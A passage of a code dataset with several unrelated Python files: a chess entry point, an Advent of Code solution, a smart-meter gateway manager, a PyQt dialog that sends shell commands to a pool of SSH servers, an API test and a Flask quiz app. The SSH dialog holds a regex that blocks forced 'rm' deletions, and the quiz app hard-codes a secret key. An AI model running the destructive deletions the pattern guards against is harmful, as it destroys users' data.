'__main__':\n  main()","repo_name":"aaronjager2000/aaron-chess","sub_path":"ChessMain.py","file_name":"ChessMain.py","file_ext":"py","file_size_in_byte":3218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"5922082273","text":"\nfrom collections import Counter, defaultdict\n\ndef build_compound(template, instructions):\n    new_temp = ''\n    for i in range(len(template)-1):\n        inst = template[i] + template[i+1]\n        if inst in instructions:\n            new_temp += template[i] + instructions[inst]\n    new_temp += template[-1]\n    template = new_temp\n    return template\n\ntotal_counts = defaultdict(int)\ndef build_compound_dicts(template_dict, instructions):\n    new_dict = defaultdict(int)\n    for s in template_dict:\n        if s in instructions:\n            char_to_add = instructions[s]\n            first_half = s[0] + char_to_add\n            sec_half = char_to_add + s[1]\n            new_dict[first_half] += template_dict[s]\n            new_dict[sec_half] += template_dict[s]\n\n        total_counts[char_to_add] += template_dict[s]\n    return new_dict\n\n\ndef part1():\n    with open('example.txt') as f:\n        template = None\n        instructions = {}\n        for line in f.readlines():\n            if ' -> ' not in line and line != '\\n':\n                template = line.strip()\n            elif line == '\\n':\n                continue\n            else:\n                pattern, result = line.strip().split(' -> ')\n                instructions[pattern] = result\n    for i in range(10):\n        print(f'step {i}')\n        template = build_compound(template, instructions)\n    counts = Counter(template)\n    print(counts)\n    maximum = max(counts.values())\n    minimum = min(counts.values())\n    print(f'{maximum} - {minimum}')\n    print(f'ANs: {maximum-minimum}')\n\n\ndef part2():\n    with open('input.txt') as f:\n        instructions = {}\n        template_dict = defaultdict(int)\n        for line in f.readlines():\n            if ' -> ' not in line and line != '\\n':\n                template = line.strip()\n                for i in range(len(template)-1):\n                    template_dict[template[i]+template[i+1]] += 1 \n                    total_counts[template[i]] += 1\n                total_counts[template[len(template)-1]] += 1\n            elif line == '\\n':\n                continue\n            else:\n                pattern, result = line.strip().split(' -> ')\n                instructions[pattern] = result\n    for i in range(40):\n        print(f'step {i}')\n        template_dict = build_compound_dicts(template_dict, instructions)\n\n    print(total_counts)\n    maximum = max(total_counts.values())\n    minimum = min(total_counts.values())\n    print(f'{maximum} - {minimum}')\n    print(f'ANs: {maximum-minimum}')\n\nif __name__ == '__main__':\n    part2()","repo_name":"Krispy2009/advent-of-code-2021","sub_path":"day14/day14.py","file_name":"day14.py","file_ext":"py","file_size_in_byte":2543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"12787333426","text":"'''\n\n================================================================================================================================================================\nmeter_device_manager.py\n=====================\n\n\nTODO: remove assumption of one gateway only, every node as child of that\nTODO: allow for change of gateway address while running - currently binds by serial port and continues with old address until restart\n================================================================================================================================================================\n\n'''\n\nfrom meterman import app_base as base\nimport arrow\nfrom meterman import gateway_messages as gmsg\nfrom meterman import meter_device_gateway as gway\nfrom random import randint\n\nNODE_UPDATE_INTERVAL_SECS = 900\nGATEWAY_TIME_SYNC_INTERVAL_SECS = 600\n\nclass MeterDeviceManager:\n\n    def __init__(self, meter_man, gateway_config_oride=None, log_file=base.log_file):\n        self.logger = base.get_logger(logger_name='device_mgr', log_file=log_file)\n\n        self.gateways = {}\n\n        if gateway_config_oride:\n            # used for testing, single gateway\n            # dict - e.g. {'network_id': '9.9.9.99', 'gateway_id': '1', 'label': 'Test Gateway', 'serial_port': '/dev/ttys001', 'serial_baud': '9600'}\n            gateway_configs = [gateway_config_oride]\n        else:\n            gateway_configs = [x for x in base.config.sections() if x.startswith('Gateway')]\n\n        for gateway in gateway_configs:\n            if gateway_config_oride:\n                gw_config = gateway\n            else:\n                gw_config = base.config[gateway]\n            gateway_uuid = self.get_node_uuid(gw_config['network_id'], gw_config['gateway_id'])\n            self.gateways[gateway_uuid] = {}\n            self.gateways[gateway_uuid]['gw_obj'] = gway.MeterDeviceGateway(\n                self, network_id=gw_config['network_id'], gateway_id=gw_config['gateway_id'],\n                label=gw_config['label'],\n                serial_port=gw_config['serial_port'], serial_baud=gw_config['serial_baud'],\n                log_file=log_file)\n            self.gateways[gateway_uuid]['last_rx_msg_obj'] = ''\n            self.gateways[gateway_uuid]['last_snap_time'] = 0\n            self.gateways[gateway_uuid]['last_clock_sync_time'] = 0\n            self.gateways[gateway_uuid]['sim_meters'] = {}\n\n        self.meters = {}\n\n        self.meter_man = meter_man  # may be set to None to support testing\n\n        if not gateway_config_oride:\n            meter_sim_configs = [x for x in base.config.sections() if x.startswith('SimMeter')]\n            for meter_sim in meter_sim_configs:\n                meter_sim_config = base.config[meter_sim]\n                self.add_meter_sim(meter_sim_config['network_id'], meter_sim_config['gateway_id'], meter_sim_config['node_id'],\n                                   meter_sim_config['interval'], meter_sim_config['start_val'], meter_sim_config['read_min'],\n                                   meter_sim_config['read_max'], meter_sim_config['max_msg_entries'])\n\n\n    def get_node_uuid(self, network_id, node_id):\n        return network_id + '.' + node_id\n\n\n    def ensure_node_exists(self, node_uuid, node_id, gateway_uuid):\n        if node_uuid not in self.meters:\n            self.meters[node_uuid] = {}\n            self.meters[node_uuid]['node_id'] = node_id\n            self.meters[node_uuid]['gateway_uuid'] = gateway_uuid\n            if self.meter_man is not None:\n                self.meter_man.register_node(node_uuid)\n\n\n    def uts_to_str(self, utc_timestamp):\n        return arrow.get(utc_timestamp).to('local').format('YYYY-MM-DD HH:mm:ss')\n\n    def proc_meter_update(self, msg_obj, is_irms):\n        node_id = msg_obj['HEADER_1'].node_id\n        when_start = int(msg_obj['HEADER_1'].last_entry_finish_time) + 1   # convert to start time\n        meter_value = int(msg_obj['HEADER_1'].last_entry_meter_value)\n\n        node_uuid = self.get_node_uuid(msg_obj['network_id'], node_id)\n        self.ensure_node_exists(node_uuid, node_id, msg_obj['gateway_uuid'])\n\n        meter_entries_in = {key: value for key, value in msg_obj.items() if key.startswith(gmsg.A_DETAIL)}\n        meter_entries_out = []\n\n        if len(meter_entries_in) == 0:\n            self.logger.info(\"Got empty meter update from node \" + node_uuid)\n            return\n\n        for key, entry in meter_entries_in.items():\n            entry_out = entry._asdict()\n            when_start += int(entry.entry_interval_length)\n            entry_out['when_start'] = when_start\n            meter_value += int(entry.entry_value)\n            entry_out['meter_value'] = meter_value\n            meter_entries_out.append(entry_out)\n            if is_irms:\n                entry_out['spot_rms_current'] = int(entry.spot_rms_current)\n                meter_entries_out.append(entry_out)\n\n        last_entry = meter_entries_out[-1]\n\n        self.meters[node_uuid]['when_last_meter_entry'] = last_entry['when_start']\n        self.meters[node_uuid]['last_meter_value'] = last_entry['meter_value']\n        if is_irms:\n            self.meters[node_uuid]['last_rms_current'] = last_entry['spot_rms_current']\n\n        if self.meter_man is not None:\n            self.meter_man.proc_meter_update(node_uuid, meter_entries_out)\n\n        self.logger.info(\"Got meter update from node \" + node_uuid + \".  Last entry was at \" +\n                         self.uts_to_str(last_entry['when_start']) + ' value: ' + str(last_entry['meter_value']) + 'Wh')\n\n\n    def proc_meter_rebase(self, msg_obj):\n        node_id = msg_obj['HEADER_1'].node_id\n        node_uuid = self.get_node_uuid(msg_obj['network_id'], node_id)\n        self.ensure_node_exists(node_uuid, node_id, msg_obj['gateway_uuid'])\n\n        self.meters[node_uuid]['last_entry_timestamp'] = msg_obj['HEADER_1'].entry_timestamp\n        self.meters[node_uuid]['last_meter_value'] = msg_obj['HEADER_1'].meter_value\n\n        if self.meter_man is not None:\n            self.meter_man.proc_meter_rebase(node_uuid, msg_obj['HEADER_1'].entry_timestamp, msg_obj['HEADER_1'].meter_value)\n        self.logger.info(\"Got meter rebase from node \" + node_uuid + \".  Last entry was at \" +\n                         self.uts_to_str(msg_obj['HEADER_1'].entry_timestamp) + ' value: ' + msg_obj['HEADER_1'].meter_value + 'Wh')\n\n\n    def proc_gateway_snapshot(self, msg_obj):\n        # gateway object self-updates\n        gateway_uuid = self.get_node_uuid(msg_obj['network_id'], msg_obj['gateway_id'])\n        rec = msg_obj['HEADER_1']\n        if self.meter_man is not None:\n            self.meter_man.proc_gateway_snapshot(gateway_uuid, msg_obj['when_received'], msg_obj['network_id'], msg_obj['gateway_id'], rec.when_booted,\n                                             rec.free_ram, rec.gateway_time, rec.log_level,\n                                             rec.encrypt_key, rec.tx_power)\n        self.logger.info(\"Got gateway snapshot from gateway: \" + gateway_uuid)\n\n\n    def proc_node_snapshot(self, msg_obj):\n        node_snapshots = {key: value for key, value in msg_obj.items() if key.startswith(gmsg.A_DETAIL)}\n        if len(node_snapshots) == 0:\n            self.logger.info(\"Got 0 node snapshots\")\n        else:\n            for key, ns in node_snapshots.items():\n                node_uuid = self.get_node_uuid(msg_obj['network_id'], ns.node_id)\n                self.ensure_node_exists(node_uuid, ns.node_id, msg_obj['gateway_uuid'])\n                self.meters[node_uuid] = {'network_id': msg_obj['network_id'], 'node_id': ns.node_id, 'gateway_id': msg_obj['gateway_id'], 'gateway_uuid': msg_obj['gateway_uuid'],\n                                          'batt_voltage': ns.batt_voltage, 'up_time': ns.up_time, 'sleep_time': ns.sleep_time,\n                                          'free_ram': ns.free_ram, 'when_last_seen': ns.when_last_seen,\n                                          'last_clock_drift': ns.last_clock_drift, 'meter_interval': ns.meter_interval,\n                                          'meter_impulses_per_kwh': ns.meter_impulses_per_kwh,\n                                          'last_meter_entry_finish': ns.last_meter_entry_finish, 'last_meter_value': ns.last_meter_value,\n                                          'last_rms_current': ns.last_rms_current, 'puck_led_rate': ns.puck_led_rate,\n                                          'puck_led_time': ns.puck_led_time, 'last_rssi': ns.last_rssi_at_gateway}\n\n                if self.meter_man is not None:\n                    self.meter_man.proc_node_snapshot(node_uuid, msg_obj['when_received'], msg_obj['network_id'], ns.node_id, msg_obj['gateway_id'], ns.batt_voltage,\n                                                    ns.up_time, ns.sleep_time, ns.free_ram, ns.when_last_seen, ns.last_clock_drift,\n                                                    ns.meter_interval, ns.meter_impulses_per_kwh, ns.last_meter_entry_finish, ns.last_meter_value, ns.last_rms_current,\n                                                    ns.puck_led_rate, ns.puck_led_time, ns.last_rssi_at_gateway)\n                self.logger.info(\"Got node snapshot from node: \" + node_uuid)\n\n\n    def proc_node_dark(self, msg_obj):\n        rec = msg_obj['HEADER_1']\n        node_uuid = self.get_node_uuid(msg_obj['network_id'], rec.node_id)\n        self.ensure_node_exists(node_uuid, rec.node_id, msg_obj['gateway_uuid'])\n        if self.meter_man is not None:\n            self.meter_man.proc_node_dark(node_uuid, msg_obj['when_received'], rec.last_seen)\n        self.logger.info(\"Got node dark from node: \" + node_uuid + \".  Last seen at: \" + self.uts_to_str(rec.last_seen))\n\n\n    def proc_gp_msg(self, msg_obj):\n        rec = msg_obj['HEADER_1']\n        node_uuid = self.get_node_uuid(msg_obj['network_id'], rec.node_id)\n        self.ensure_node_exists(node_uuid, rec.node_id, msg_obj['gateway_uuid'])\n        if self.meter_man is not None:\n            self.meter_man.proc_gp_msg(node_uuid, msg_obj['when_received'], rec.message)\n        self.logger.info(\"Got general-purpose message from node: \" + node_uuid + \" - \" + rec.message)\n\n\n    def proc_device_messages(self):\n        # processing per gateway/network\n        for key, gateway in self.gateways.items():\n            # queued messages received from gateway, read according to last_rx_msg_obj sequential key\n            new_msgs = {key: value for key, value in gateway['gw_obj'].serial_rx_msg_objects.items() if key > gateway['last_rx_msg_obj']}\n            for key, new_msg in new_msgs.items():\n                try:\n                    if new_msg['message_type'] == gmsg.SMSG_MTRUPDATE_NO_IRMS_DEFN['smsg_type']:\n                        self.proc_meter_update(new_msg, False)\n                    elif new_msg['message_type'] == gmsg.SMSG_MTRUPDATE_WITH_IRMS_DEFN['smsg_type']:\n                        self.proc_meter_update(new_msg, True)\n                    elif new_msg['message_type'] == gmsg.SMSG_MTRREBASE_DEFN['smsg_type']:\n                        self.proc_meter_rebase(new_msg)\n                    elif new_msg['message_type'] == gmsg.SMSG_GWSNAP_DEFN['smsg_type']:\n                        self.proc_gateway_snapshot(new_msg)\n                    elif new_msg['message_type'] == gmsg.SMSG_NODESNAP_DEFN['smsg_type']:\n                        self.proc_node_snapshot(new_msg)\n                    elif new_msg['message_type'] == gmsg.SMSG_NODEDARK_DEFN['smsg_type']:\n                        self.proc_node_dark(new_msg)\n                    elif new_msg['message_type'] == gmsg.SMSG_GPMSG_DEFN['smsg_type']:\n                        self.proc_gp_msg(new_msg)\n                    else:\n                        self.logger.warn(\"Got unknown message object: \" + print(new_msg))\n                except Exception as err:\n                    self.logger.error(\"Failed to process message object: \" + print(new_msg) + \"... \" + err)\n\n                gateway['last_rx_msg_obj'] = key\n\n            if gateway['last_clock_sync_time'] < arrow.utcnow().shift(seconds=-GATEWAY_TIME_SYNC_INTERVAL_SECS).timestamp:\n                gateway['gw_obj'].set_gateway_time()\n                gateway['last_clock_sync_time'] = arrow.utcnow().timestamp\n\n            # updates from gateway/nodes\n            if gateway['last_snap_time'] < arrow.utcnow().shift(seconds=-NODE_UPDATE_INTERVAL_SECS).timestamp:\n                gateway['gw_obj'].get_gateway_snapshot()\n                gateway['gw_obj'].get_node_snapshot()\n                gateway['last_snap_time'] = arrow.utcnow().timestamp\n\n            # process sim meters\n            for node_uuid, sim_meter in gateway['sim_meters'].items():\n                message_interval = int(sim_meter['max_msg_entries']) * int(sim_meter['interval'])\n                if int(sim_meter['current_msg_start']) < arrow.utcnow().shift(seconds=-message_interval).timestamp:\n                    if sim_meter['current_msg_start'] == 0:\n                        sim_meter['current_msg_start'] = arrow.utcnow().shift(seconds=-message_interval).timestamp\n                    sim_msg = 'G>S:MUP_;{},MUP_,{},{}'.format(sim_meter['node_id'], sim_meter['current_msg_start'], sim_meter['value'])\n                    for i in range(int(sim_meter['max_msg_entries'])):\n                        entry_value = randint(int(sim_meter['read_min']), int(sim_meter['read_max']) + 1)\n                        sim_msg += \";{},{}\".format(sim_meter['interval'], entry_value)\n                        sim_meter['value'] += entry_value\n\n                    sim_msg_obj = gmsg.get_message_obj(sim_msg,\n                        gateway['gw_obj'].uuid, gateway['gw_obj'].gateway_id, gateway['gw_obj'].network_id)\n                    sim_meter['current_msg_start'] = arrow.utcnow().timestamp\n                    self.logger.debug(\"Generated simulated meter update: \" + sim_msg)\n                    self.proc_meter_update(sim_msg_obj, False)\n\n\n    def add_meter_sim(self, network_id='0.0.1.1', gateway_id=1, node_id=100, interval=15, start_val=0,\n                      read_min=0, read_max=20, max_msg_entries=4):\n\n        gateway_uuid = self.get_node_uuid(network_id, gateway_id)\n        node_uuid = self.get_node_uuid(network_id, node_id)\n\n        if node_uuid not in self.gateways[gateway_uuid]['sim_meters']:\n            self.gateways[gateway_uuid]['sim_meters'][node_uuid] = {}\n\n        sim_meter = self.gateways[gateway_uuid]['sim_meters'][node_uuid]\n        sim_meter['node_id'] = int(node_id)\n        sim_meter['network_id'] = network_id\n        sim_meter['interval'] = int(interval)\n        sim_meter['read_min'] = int(read_min)\n        sim_meter['read_max'] = int(read_max)\n        sim_meter['max_msg_entries'] = int(max_msg_entries)\n        sim_meter['current_msg_start'] = 0\n\n        # check if meter simulator has a prior value in the database\n        last_meter_value = self.meter_man.data_mgr.db_mgr.get_last_mup(node_uuid, None, None)\n        sim_meter['value'] = last_meter_value['meter_value'] if last_meter_value is not None else int(start_val)\n\n\n    def del_meter_sim(self, gateway_uuid, node_uuid):\n        if node_uuid in self.gateways[gateway_uuid]['sim_meters']:\n            del self.gateways[gateway_uuid]['sim_meters'][node_uuid]\n\n\n    def set_node_gw_inst_tmp_rate(self, node_uuid, tmp_ginr_poll_rate, tmp_ginr_poll_time):\n        gateway_id = self.meters[node_uuid]['gateway_uuid']\n        self.gateways[gateway_id]['gw_obj'].set_node_gw_inst_tmp_rate(self.meters[node_uuid]['node_id'], tmp_ginr_poll_rate, tmp_ginr_poll_time)\n\n\n    def set_node_meter_value(self, node_uuid, new_meter_value):\n        gateway_id = self.meters[node_uuid]['gateway_uuid']\n        self.gateways[gateway_id]['gw_obj'].set_node_meter_value(self.meters[node_uuid]['node_id'], new_meter_value)\n\n\n    def set_node_meter_interval(self, node_uuid, new_meter_interval):\n        gateway_id = self.meters[node_uuid]['gateway_uuid']\n        self.gateways[gateway_id]['gw_obj'].set_node_meter_interval(self.meters[node_uuid]['node_id'], new_meter_interval)\n\n\n    def set_node_puck_led(self, node_uuid, new_puck_led_rate, new_puck_led_time):\n        gateway_id = self.meters[node_uuid]['gateway_uuid']\n        self.gateways[gateway_id]['gw_obj'].set_node_puck_led(self.meters[node_uuid]['node_id'], new_puck_led_rate, new_puck_led_time)\n\n","repo_name":"leehonan/meterman-server","sub_path":"meterman/meter_device_manager.py","file_name":"meter_device_manager.py","file_ext":"py","file_size_in_byte":16202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"16659531934","text":"import menu as m\nimport Porquinho.porquinho as p\nimport Transacoes.transacoes as t\n\nwhile True:\n  try:\n    [tipo, operacao] = m.menu_principal()\n  except ValueError:\n    continue\n  except:\n    break\n\n  transacoes = t.Transacoes()\n  porquinho = p.Porquinho()\n\n  opcoes = {\n    'Transações': {\n      '1': transacoes.pegar_transacoes,\n      '2': transacoes.adicionar,\n      '3': transacoes.atualizar_pelo_nome,\n      '4': transacoes.remover_pelo_nome,\n    },\n    'Filtrar': {\n      '1': transacoes.filtrar\n    },\n    'Porquinho': {\n      '1': porquinho.criar_porquinho,\n      '2': porquinho.atualizar_valor,\n      '3': porquinho.visualizar_nomes,\n      '4': porquinho.remover_nome\n    }\n  }\n\n  opcoes[tipo][operacao]()","repo_name":"Matheus-Rian/MoneyMinder-python","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"75310590592","text":"from __app__.errorhandler.__init__ import main\n\nif __name__ == \"__main__\":\n    sample_msg = \"\"\"\n    {\n        \"eventType\": \"Microsoft.Storage.BlobCreated\",\n        \"data\": {\n            \"api\": \"PutBlob\",\n            \"url\": \"\"\n        }\n    }\n    \"\"\"\n    class StubQueueObj:\n        get_body = lambda: (sample_msg.encode('utf-8'))\n    main(StubQueueObj)\n","repo_name":"Azure/azure-kusto-labs","sub_path":"databricks-adx-integration/src/code/functions/adxingesterrorhandler/tests/local/local_run.py","file_name":"local_run.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"60"}
+{"seq_id":"18574551005","text":"# -*- coding: utf-8 -*-\n'''\nCreated on 15 janv. 2010\n\n@author: Thomas Lété\n'''\nimport re\nfrom PyQt4 import QtCore, QtGui\nfrom base.ServersPool import ServersPool\n\nfrom ServerResponsePool import ServerResponsePool\nfrom UI_SendCommandPool import Ui_SendCommandPool\n\nclass SendCommandPool(QtGui.QDialog):\n    def __init__(self, dblink, servers, parent=None):\n        super(SendCommandPool, self).__init__(parent)\n        self.ui = Ui_SendCommandPool()\n        self.ui.setupUi(self)\n        \n        self.dblink = dblink\n        self.servers = servers\n        self.parent = parent\n        \n        self.ui.checkboxes = {}\n        self.ui.labels = {}\n        self.ui.comboboxes = {}\n        \n        i = 0\n        self.servers.rewind()\n        for k, v in servers:\n            self.ui.checkboxes[k] = QtGui.QCheckBox(self)\n            self.ui.checkboxes[k].setChecked(True)\n            self.ui.checkboxes[k].setText(v.server.type)\n            self.ui.glServers.addWidget(self.ui.checkboxes[k], i, 0, 1, 1)\n            self.ui.comboboxes[k] = QtGui.QComboBox(self)\n            self.ui.glServers.addWidget(self.ui.comboboxes[k], i, 1, 1, 1)\n            \n            # Fill the login/pass combobox\n            self.dblink = dblink\n            auths = self.dblink.getAuths()\n            \n            y = 0\n            for auth in auths:\n                self.ui.comboboxes[k].addItem(auth['login'] + '/' + auth['password'], QtCore.QVariant(auth['id']))\n                \n                def_id = self.dblink.getDefaultLoginIdByServer(k)\n                if auth['id'] == def_id['defaultlogin_id']:\n                    self.ui.comboboxes[k].setCurrentIndex(y)\n                y += 1\n            i += 1\n        \n        bookmarks = self.dblink.getBookmarks()\n        \n        self.ui.bookmarks.clear()\n        for bookmark in bookmarks:\n            self.ui.bookmarks.addItem(bookmark['label'], QtCore.QVariant(bookmark['command']))\n        self.ui.bookmarks.setCurrentIndex(-1)\n        \n        # Add connector to the combobox of bookmarks\n        self.connect(self.ui.bookmarks, QtCore.SIGNAL('currentIndexChanged(int)'),\n                     self.on_event_bookmarks_currentIndexChanged)\n        \n    def accept(self):\n        # Checks if all the fields have been filed\n        if self.ui.pteCommand.toPlainText() == '':\n            QtGui.QMessageBox.information(self,\n                        self.tr('Information'),\n                        self.tr('You must enter a command.'))\n        elif re.search('rm [\\-a-zA-Z]+f', self.ui.pteCommand.toPlainText()):\n            QtGui.QMessageBox.information(self,\n                        self.tr('Information'),\n                        self.tr('You must not use dangerous commands.'))\n        else:\n            self.servers.rewind()\n            servers = ServersPool()\n            \n            for k, v in self.servers:\n                if self.ui.checkboxes[k].isChecked():\n                    #servers[k] = self.servers[k]\n                    id, trash = self.ui.comboboxes[k].itemData(self.ui.comboboxes[k].currentIndex()).toInt()\n                    login, password = self.dblink.getAuthById(id)\n                    \n                    servers.add(k, self.servers[k].server.host, self.servers[k].server.port, self.servers[k].server.type, login, password)\n            \n            self.hide()\n            serverResponse = ServerResponsePool(self.dblink, servers, self.ui.pteCommand.toPlainText(), self, self.parent)\n            serverResponse.show()\n    \n    # Modify the contents of the command, thanks to a bookmark\n    def on_event_bookmarks_currentIndexChanged(self, index):\n        index, trash = QtCore.QVariant(index).toInt()\n        text = self.ui.bookmarks.itemData(index).toString()\n        self.ui.pteCommand.setPlainText(text)","repo_name":"bistory/PySSH-Manager","sub_path":"gui/SendCommandPool.py","file_name":"SendCommandPool.py","file_ext":"py","file_size_in_byte":3770,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"11212618188","text":"# -*- coding: UTF-8 -*-\n\n\"\"\"PFE Component Tests - Clients.\n\n* TC-43306 - Clients PATCH:\n\n  Verify that validation message is displayed in response class on modifying client with non-existing 'Id' parameter using request PATCH /clients.\n\n\nEquivalent test CURL command:\n\n  curl -H \"Host: <client_host>\" -H \"Authorization: Bearer <valid_token>\"\n       -X PATCH -d @<JSON_data_file> -H \"Content-Type: application/json\"\n       \"<PF_host>://<client_host>/clients/NonExistID\"\n\nSame, with test data:\n\n  curl -H \"Host: <client_host>\" -H \"Authorization: Bearer <valid_token>\"\n       -X PATCH -d @<JSON_data_file> -H \"Content-Type: application/json\"\n       \"<PF_host>://<client_host>/clients/NonExistID\"\n\nJSON data sent to PathFinder in this test:\n\n  {'matchingRule': {'groups': [{'groups': [],\n                                'operator': 'ALL',\n                                'rules': [{'contextField': 'remoteAddress',\n                                           'contextFieldKey': None,\n                                           'contextFieldType': 'String',\n                                           'expressionType': 'Single',\n                                           'matchValue': '101.121.101.101/32',\n                                           'operator': 'IPMATCH'}]}],\n                    'operator': 'ALL',\n                    'rules': [{'contextField': 'remoteAddress',\n                               'contextFieldKey': None,\n                               'contextFieldType': 'String',\n                               'expressionType': 'Single',\n                               'matchValue': '10.12.1.1/32',\n                               'operator': 'IPMATCH'}]},\n   'name': 'POST: Client Updated with name_Rule_Group_SourceRule',\n   'sourceSelectionRule': [{'groups': [],\n                            'operator': 'ALL',\n                            'rules': [{'contextField': 'bitrateKbps',\n                                       'contextFieldKey': None,\n                                       'contextFieldType': 'String',\n                                       'expressionType': 'Single',\n                                       'matchValue': 200,\n                                       'operator': 'EQ'}]}]}\n\n\"\"\"\n\nimport pytest\n\nfrom qe_common import *\n\nlogger = init_logger()\n\n\n@pytest.mark.components\n@pytest.allure.story('Clients')\n@pytest.allure.feature('PATCH')\nclass Test_PFE_Components(object):\n    \"\"\"PFE Clients test cases.\"\"\"\n\n    @pytest.allure.link('https://jira.qumu.com/browse/TC-43306')\n    @pytest.mark.Clients\n    @pytest.mark.PATCH\n    def test_TC_43306_PATCH_Clients_Non_Exist_Id(self, context):\n        \"\"\"TC-43306 - Clients-PATCH\n           Verify that validation message is displayed in response class on modifying client with non-existing 'Id' parameter using request PATCH /clients.\"\"\"\n        # Define a test step\n\n\n        with pytest.allure.step(\"\"\"Verify that validation message is displayed in response class on modifying client with non-existing 'Id' parameter using request PATCH /clients.\"\"\"):\n\n            # Test case configuration\n            clientDetails = context.sc.ClientDetails(\n                id=None,\n                matchingRule={\n                    'operator':\n                    'ALL',\n                    'rules': [{\n                        'expressionType': 'Single',\n                        'contextField': 'remoteAddress',\n                        'operator': 'IPMATCH',\n                        'contextFieldType': 'String',\n                        'matchValue': '10.12.1.1/32',\n                        'contextFieldKey': None\n                    }],\n                    'groups': [{\n                        'operator':\n                        'ALL',\n                        'rules': [{\n                            'expressionType': 'Single',\n                            'contextField': 'remoteAddress',\n                            'operator': 'IPMATCH',\n                            'contextFieldType': 'String',\n                            'matchValue': '101.121.101.101/32',\n                            'contextFieldKey': None\n                        }],\n                        'groups': []\n                    }]\n                },\n                name='POST: Client Updated with name_Rule_Group_SourceRule',\n                sourceSelectionRule=[{\n                    'operator':\n                    'ALL',\n                    'rules': [{\n                        'expressionType': 'Single',\n                        'contextField': 'bitrateKbps',\n                        'operator': 'EQ',\n                        'contextFieldType': 'String',\n                        'matchValue': 200,\n                        'contextFieldKey': None\n                    }],\n                    'groups': []\n                }])\n\n\n            # prepare the request, so we can modify it\n            request = context.cl.Clients.updateEntity(\n                    body=clientDetails,\n                    id='non existing'\n            )\n\n            ### Invalid JSON Error injection example\n            ### Errors that result in valid JSON can be configured above.\n            ### Otherwise, uncomment the code below (request.future....)\n\n            # Get the generated payload and corrupt the metric\n            # request.future.request.data = request.future.request.data.replace(\n            #     '\"metric\": 1,', '\"metric\":,'\n            # )\n\n            # updateEntity the Clients, and check we got the error we expect\n            try:\n                client, response = check(\n                    request,\n                    quiet=True, returnResponse=True\n                )\n            except (HTTPBadRequest, HTTPForbidden, HTTPNotFound) as e:        # 400, 403, 404 error\n                get_error_message(e) | expect.any(\n                    should.start_with('Delivery Service entity not found')\n                )\n            else:\n                raise Exception(\n                    \"Expected error message, got {} status code instead.\".format(\n                        response.status_code))\n","repo_name":"muktabehera/QE","sub_path":"functional/Components/Clients/Clients_PATCH_ID/test_TC_43306_Clients_PATCH_Non_Exist_Id.py","file_name":"test_TC_43306_Clients_PATCH_Non_Exist_Id.py","file_ext":"py","file_size_in_byte":6044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"27941270955","text":"import os\r\nfrom random import shuffle\r\nfrom flask import Flask, session, request, redirect, render_template, url_for\r\nfrom db_scripts import get_question_after, get_quises, check_answer\r\n\r\ndef start_quiz(quiz_id):\r\n    '''creates the desired values ​​in the session dictionary'''\r\n    session['quiz'] = quiz_id\r\n    session['last_question'] = 0\r\n    session['answers'] = 0\r\n    session['total'] = 0\r\n\r\ndef end_quiz():\r\n    session.clear()\r\n\r\ndef quiz_form():\r\n    ''' the function receives a list of quizzes from the database and forms a form with a drop-down list '''\r\n    q_list = get_quises()\r\n    return render_template('start.html', q_list=q_list)\r\n\r\ndef index():\r\n    ''' First page: if you came with a GET request, then select a quiz,\r\n    if POST - then remember the id of the quiz and send questions '''\r\n    if request.method == 'GET':\r\n        # the quiz is not selected, reset the id of the quiz and show the selection form\r\n        start_quiz(-1)\r\n        return quiz_form()\r\n    else:\r\n        # received additional data in the request! We use them:\r\n        quest_id = request.form.get('quiz') #selected quiz number \r\n        start_quiz(quest_id)\r\n        return redirect(url_for('test'))\r\n\r\ndef save_answers():\r\n    '''receives data from the form, checks if the answer is correct, writes the results to the session'''\r\n    answer = request.form.get('ans_text')\r\n    quest_id = request.form.get('q_id')\r\n    # this question has already been asked:\r\n    session['last_question'] = quest_id\r\n    # increase the question counter:\r\n    session['total'] += 1\r\n    # check if the answer matches the correct one for this id\r\n    if check_answer(quest_id, answer):\r\n        session['answers'] += 1\r\n\r\ndef question_form(question):\r\n    '''gets the row from the database corresponding to the question, returns the html with the form '''\r\n    # question - result of the get_question_after\r\n    # fields: \r\n            # [0] - quiz question number, \r\n            # [1] - question text, \r\n            # [2] - right answer, [3],[4],[5] - false answers\r\n\r\n    # shuffle the answers:\r\n    answers_list = [\r\n        question[2], question[3], question[4], question[5]\r\n    ]\r\n    shuffle(answers_list)\r\n    # pass it to the template, return the result:\r\n    return render_template('test.html', question=question[1], quest_id=question[0], answers_list=answers_list)\r\n\r\ndef test():\r\n    '''returns the question page'''\r\n    # what if the user without choosing a quiz went directly to address '/test'? \r\n    if not ('quiz' in session) or int(session['quiz']) < 0:\r\n        return redirect(url_for('index'))\r\n    else:\r\n        # if we received data, then we need to read it and update the information:\r\n        if request.method == 'POST':\r\n            save_answers()\r\n        # in any case, deal with the current question id\r\n        next_question = get_question_after(session['last_question'], session['quiz'])\r\n        if next_question is None or len(next_question) == 0:\r\n            # the questions are over:\r\n            return redirect(url_for('result'))\r\n        else:            \r\n            return question_form(next_question)\r\n\r\ndef result():\r\n    html = render_template('result.html', right=session['answers'], total=session['total'])\r\n    end_quiz()\r\n    return html\r\n\r\nfolder = os.getcwd() # remember the current working folder\r\n# Create a web application object:\r\napp = Flask(__name__, template_folder=folder, static_folder=folder)  \r\napp.add_url_rule('/', 'index', index, methods=['post', 'get'])   # creates rule for URL '/'\r\napp.add_url_rule('/test', 'test', test, methods=['post', 'get']) # creates rule for URL '/test'\r\napp.add_url_rule('/result', 'result', result) # creates rule for URL '/test'\r\n#Setting up the encryption key:\r\napp.config['SECRET_KEY'] = 'ThisIsSecretSecretSecretLife'\r\n\r\nif __name__ == \"__main__\":\r\n    #Launching web server:\r\n    